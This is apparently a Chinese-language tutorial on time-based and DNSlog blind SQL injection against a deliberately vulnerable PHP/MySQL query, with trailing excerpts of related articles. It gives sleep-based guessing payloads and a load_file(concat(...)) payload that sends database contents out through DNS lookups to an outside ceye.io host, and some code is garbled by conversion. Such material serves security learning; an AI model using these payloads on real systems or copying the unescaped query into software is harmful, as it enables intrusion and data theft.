時間盲注原理
$id=$_get[
'id'];
$sql=
"select * from users where id='$id' limit 0,1"
;$result=
mysql_query
($sql)
;$row =
mysql_fetch_array
($result);if
($row)
else
**存在sql注入漏洞
然而頁面不會回顯資料,也不會回顯錯誤資訊
語句執行後不提示真假,我們不能通過頁面內容進行判斷
這裡我們可以通過構造語句,通過頁面響應的時長
核心語法:if(left(user(),1)=『a』,0,sleep(3));
真實場景: if(ascii(substr(database(),1,1)>115,0,sleep(5))%23
dnslog盲注原理
$id=$_get[
'id'];
$sql=
"select * from users where id='$id' limit 0,1"
;$result=
mysql_query
($sql)
;$row =
mysql_fetch_array
($result);if
($row)
else
**存在sql注入漏洞
然而頁面不會回顯資料,也不會回顯錯誤資訊
我們通過布林盲注或者時間盲注都可以獲取到內容,但是整個過程中效率低,需要傳送很多的請求進行判斷,很可能會觸發安全裝置的防護
我們需要一種方式,減少請求,直接回顯資料,這裡可以使用dnslog實現注入
乙個dnslog平台:ceye.io
dns在解析的時候會留下日誌,通過讀取多級網域名稱的解析日誌,獲取請求資訊
解析日誌會記錄http request和dns query
http request 包括了請求位址的詳情,請求的**位址,方式,ua等
dns query 包括了請求的詳情和**位址。
mysql load_file函式可以發起請求
select load_file(concat(』\\』,『test』,』.mysql.eftf8t.ceye.io\abc』)); -> test.mysql.eftf8t.ceye.io
核心語法
select load_file(concat(』\\』,(select database()),』.mysql.eftf8t.ceye.io\abc』));
通過sql語句查詢內容,作為請求的一部分,傳送至dnslog
只要對這一部分進行構建,就能實現有回顯的sql注入
值得主意的是,這些資料格式和內容都有限制(比如不能使用特殊符號),需要進行一些處理
load_file()只能在windows系統下發起請求
所以只有目標是windows系統時才能使用dnslog注入,在linux下是不能的。
dnslog盲注原理
布林盲注和時間盲注相當於猜單詞的遊戲,我們需要對每一位逐步的猜測,效率很低,需要傳送很多的請求進行判斷,很可能會觸發安全裝置的防護 我們需要一種方式能夠減少請求,直接回顯資料 dnslog注入 dns在解析的時候會留下日誌,通過讀取多級網域名稱的解析日誌,獲取請求資訊 登入 並註冊,得到屬於自己的i...
sql盲注特點 SQL盲注
盲注原理 盲注的分類 盲注常用函式 一 sql盲注概述 1.如果資料庫執行返回結果時只反饋對錯不會返回資料庫中的資訊 此時可以採用邏輯判斷是否正確的盲注來獲取資訊。2.盲注是不能通過直接顯示的途徑來獲取資料庫資料的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷資訊 可能是頁面內容的不同,也可以是響...
SQL時間盲注
時間盲注 存在sql注入漏洞,然而頁面既不會回顯資料,也不會回顯錯誤資訊,語句執行後也不提示真假,我們不能通過頁面的內容來判斷。這裡我們可以通過構造語句,通過頁面響應的時長,來判斷資訊,這既是時間盲注 left m,n 從左向右擷取字串m返回其前n位 substr m,1,1 取字串m的左邊第一位起...